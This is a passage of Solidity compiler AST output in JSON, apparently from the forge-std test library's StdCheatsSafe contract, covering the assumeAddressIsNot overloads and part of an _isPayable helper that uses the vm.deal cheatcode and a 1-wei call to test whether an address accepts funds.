StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"7336:66:3"},"returnParameters":{"id":3966,"nodeType":"ParameterList","parameters":[],"src":"7420:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4008,"nodeType":"FunctionDefinition","src":"7529:326:3","nodes":[],"body":{"id":4007,"nodeType":"Block","src":"7704:151:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":3993,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3980,"src":"7733:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3994,"name":"addressType1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3983,"src":"7739:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3992,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7714:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":3995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7714:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3996,"nodeType":"ExpressionStatement","src":"7714:38:3"},{"expression":{"arguments":[{"id":3998,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3980,"src":"7781:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3999,"name":"addressType2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3986,"src":"7787:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3997,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7762:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7762:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4001,"nodeType":"ExpressionStatement","src":"7762:38:3"},{"expression":{"arguments":[{"id":4003,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3980,"src":"7829:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4004,"name":"addressType3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3989,"src":"7835:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4002,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7810:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7810:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4006,"nodeType":"ExpressionStatement","src":"7810:38:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"7538:18:3","parameters":{"id":3990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3980,"mutability":"mutable","name":"addr","nameLocation":"7574:4:3","nodeType":"VariableDeclaration","scope":4008,"src":"7566:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3979,"name":"address","nodeType":"ElementaryTypeName","src":"7566:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3983,"mutability":"mutable","name":"addressType1","nameLocation":"7600:12:3","nodeType":"VariableDeclaration","scope":4008,"src":"7588:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3982,"nodeType":"UserDefinedTypeName","pathNode":{"id":3981,"name":"AddressType","nameLocations":["7588:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7588:11:3"},"referencedDeclaration":3799,"src":"7588:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":3986,"mutability":"mutable","name":"addressType2","nameLocation":"7634:12:3","nodeType":"VariableDeclaration","scope":4008,"src":"7622:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3985,"nodeType":"UserDefinedTypeName","pathNode":{"id":3984,"name":"AddressType","nameLocations":["7622:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7622:11:3"},"referencedDeclaration":3799,"src":"7622:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":3989,"mutability":"mutable","name":"addressType3","nameLocation":"7668:12:3","nodeType":"VariableDeclaration","scope":4008,"src":"7656:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3988,"nodeType":"UserDefinedTypeName","pathNode":{"id":3987,"name":"AddressType","nameLocations":["7656:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7656:11:3"},"referencedDeclaration":3799,"src":"7656:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"7556:130:3"},"returnParameters":{"id":3991,"nodeType":"ParameterList","parameters":[],"src":"7704:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4046,"nodeType":"FunctionDefinition","src":"7861:408:3","nodes":[],"body":{"id":4045,"nodeType":"Block","src":"8070:199:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":4026,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8099:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4027,"name":"addressType1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4013,"src":"8105:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4025,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8080:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4028,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8080:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4029,"nodeType":"ExpressionStatement","src":"8080:38:3"},{"expression":{"arguments":[{"id":4031,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8147:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4032,"name":"addressType2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4016,"src":"8153:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4030,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8128:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8128:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4034,"nodeType":"ExpressionStatement","src":"8128:38:3"},{"expression":{"arguments":[{"id":4036,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8195:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4037,"name":"addressType3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4019,"src":"8201:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4035,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8176:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8176:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4039,"nodeType":"ExpressionStatement","src":"8176:38:3"},{"expression":{"arguments":[{"id":4041,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8243:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4042,"name":"addressType4","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4022,"src":"8249:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4040,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8224:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4043,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8224:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4044,"nodeType":"ExpressionStatement","src":"8224:38:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"7870:18:3","parameters":{"id":4023,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4010,"mutability":"mutable","name":"addr","nameLocation":"7906:4:3","nodeType":"VariableDeclaration","scope":4046,"src":"7898:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4009,"name":"address","nodeType":"ElementaryTypeName","src":"7898:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":4013,"mutability":"mutable","name":"addressType1","nameLocation":"7932:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"7920:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4012,"nodeType":"UserDefinedTypeName","pathNode":{"id":4011,"name":"AddressType","nameLocations":["7920:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7920:11:3"},"referencedDeclaration":3799,"src":"7920:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":4016,"mutability":"mutable","name":"addressType2","nameLocation":"7966:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"7954:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4015,"nodeType":"UserDefinedTypeName","pathNode":{"id":4014,"name":"AddressType","nameLocations":["7954:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7954:11:3"},"referencedDeclaration":3799,"src":"7954:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":4019,"mutability":"mutable","name":"addressType3","nameLocation":"8000:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"7988:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4018,"nodeType":"UserDefinedTypeName","pathNode":{"id":4017,"name":"AddressType","nameLocations":["7988:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7988:11:3"},"referencedDeclaration":3799,"src":"7988:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":4022,"mutability":"mutable","name":"addressType4","nameLocation":"8034:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"8022:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4021,"nodeType":"UserDefinedTypeName","pathNode":{"id":4020,"name":"AddressType","nameLocations":["8022:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"8022:11:3"},"referencedDeclaration":3799,"src":"8022:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"7888:164:3"},"returnParameters":{"id":4024,"nodeType":"ParameterList","parameters":[],"src":"8070:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4119,"nodeType":"FunctionDefinition","src":"8615:592:3","nodes":[],"body":{"id":4118,"nodeType":"Block","src":"8672:535:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":4054,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"8703:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4055,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8708:7:3","memberName":"balance","nodeType":"MemberAccess","src":"8703:12:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":4056,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3507,"src":"8718:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8703:26:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473205f697350617961626c652861646472657373293a2042616c616e636520657175616c73206d61782075696e743235362c20736f2069742063616e6e6f74207265636569766520616e79206d6f72652066756e6473","id":4058,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8743:96:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_445086840f6c2a82b4d334ff6858d2a67c3cf8d1872260417f6ce3ed4fefcee6","typeString":"literal_string \"StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds\""},"value":"StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_445086840f6c2a82b4d334ff6858d2a67c3cf8d1872260417f6ce3ed4fefcee6","typeString":"literal_string \"StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds\""}],"id":4053,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"8682:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":4059,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8682:167:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4060,"nodeType":"ExpressionStatement","src":"8682:167:3"},{"assignments":[4062],"declarations":[{"constant":false,"id":4062,"mutability":"mutable","name":"origBalanceTest","nameLocation":"8867:15:3","nodeType":"VariableDeclaration","scope":4118,"src":"8859:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4061,"name":"uint256","nodeType":"ElementaryTypeName","src":"8859:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4068,"initialValue":{"expression":{"arguments":[{"id":4065,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"8893:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":4064,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8885:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4063,"name":"address","nodeType":"ElementaryTypeName","src":"8885:7:3","typeDescriptions":{}}},"id":4066,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8885:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4067,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8899:7:3","memberName":"balance","nodeType":"MemberAccess","src":"8885:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8859:47:3"},{"assignments":[4070],"declarations":[{"constant":false,"id":4070,"mutability":"mutable","name":"origBalanceAddr","nameLocation":"8924:15:3","nodeType":"VariableDeclaration","scope":4118,"src":"8916:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4069,"name":"uint256","nodeType":"ElementaryTypeName","src":"8916:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4076,"initialValue":{"expression":{"arguments":[{"id":4073,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"8950:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4072,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8942:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4071,"name":"address","nodeType":"ElementaryTypeName","src":"8942:7:3","typeDescriptions":{}}},"id":4074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8942:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8956:7:3","memberName":"balance","nodeType":"MemberAccess","src":"8942:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8916:47:3"},{"expression":{"arguments":[{"arguments":[{"id":4082,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"8990:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":4081,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8982:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4080,"name":"address","nodeType":"ElementaryTypeName","src":"8982:7:3","typeDescriptions":{}}},"id":4083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8982:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"31","id":4084,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8997:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":4077,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"8974:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4079,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8977:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"8974:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":4085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8974:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4086,"nodeType":"ExpressionStatement","src":"8974:25:3"},{"assignments":[4088,null],"declarations":[{"constant":false,"id":4088,"mutability":"mutable","name":"success","nameLocation":"9015:7:3","nodeType":"VariableDeclaration","scope":4118,"src":"9010:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":4087,"name":"bool","nodeType":"ElementaryTypeName","src":"9010:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":4098,"initialValue":{"arguments":[{"hexValue":"","id":4096,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9056:2:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":4091,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"9035:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9027:8:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":4089,"name":"address","nodeType":"ElementaryTypeName","src":"9027:8:3","stateMutability":"payable","typeDescriptions":{}}},"id":4092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9027:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":4093,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9041:4:3","memberName":"call","nodeType":"MemberAccess","src":"9027:18:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":4095,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31","id":4094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9053:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"src":"9027:28:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":4097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9027:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"9009:50:3"},{"expression":{"arguments":[{"arguments":[{"id":4104,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"9112:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":4103,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9104:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4102,"name":"address","nodeType":"ElementaryTypeName","src":"9104:7:3","typeDescriptions":{}}},"id":4105,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9104:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4106,"name":"origBalanceTest","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4062,"src":"9119:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4099,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9096:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4101,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9099:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"9096:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) 